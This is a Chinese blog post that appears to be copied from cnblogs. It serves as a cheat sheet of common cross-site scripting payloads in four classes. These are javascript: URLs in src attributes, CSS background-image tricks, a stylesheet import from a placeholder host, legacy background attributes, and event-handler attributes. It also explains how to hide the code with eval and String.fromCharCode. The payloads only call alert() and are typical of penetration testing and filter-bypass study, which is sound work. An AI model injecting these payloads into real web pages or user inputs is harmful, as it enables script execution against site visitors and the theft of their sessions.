zoukankan      html  css  js  c++  java
  • 常见的javascript跨站

      

    第一类:

    <img src=javascript:alert() />

    <iframe src=javascript:alert()></iframe>

    <script src=javascript:alert()></script>

    第二类:

    <div style=background-image:url(javascript:alert())>

    <img style=background-image:url(javascript:alert())>

    <b style=background-image:url(javascript:alert())>

    用STYLE标签引用其他网站上的css文件

    <STYLE>@import'http://xxx.xom/xss.css';</STYLE>

    css文件里包含跨站程序

    body{

    background-image:url('javascript:alert();');
    }

    第三类:

    <table background=javascript:alert()></table>

    <body background=javascript:alert()></body>

    第四类:

    <div onmouseenter=alert()>鼠标进入本区域执行Javascript</div>

    <div onmouseleave=alert()>鼠标离开本区域执行Javascript</div>

    <div onmousewheel=alert()>鼠标在选区滚轮时执行Javascript</div>

    <div contentEditable="true" onfocusin=alert()>获得焦点执行Javascript</div>

    <div contentEditable="true" onfocusout=alert()>失去焦点执行Javascript</div>

    <marquee onstart=alert()>每次显示滚动内容执行Javascript</marquee>

    <img src="" onerror=alert('加载图片错误执行代码')>

    <img src="" onclick=alert('单击图片执行代码')>

    <img onmouseover=alert('鼠标经过图片执行代码')>

    <img style=background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,41)))>

    将要执行的代码“alert()”转换为十进制的ASCII码,其间用逗号隔开,再用String.fromCharCode解码,最后用eval执行

    还可以进行十六进制的处理:

    <img style=background-image:url(javascript:alert()>

  • 相关阅读:
    docker相关资源监控采集方法整理
    三节课MINI计划第四周
    三节课MINI计划第五周
    三节课MINI计划第四周
    三节课MINI计划第三周
    三节课MINI计划第二周
    Bilibili用户需求分析报告
    三节课MINI计划第一周
    《产品思维30讲 》学习笔记
    PHP-FPM未授权访问漏洞
  • 原文地址:https://www.cnblogs.com/zthua/p/3966716.html
Copyright © 2011-2022 走看看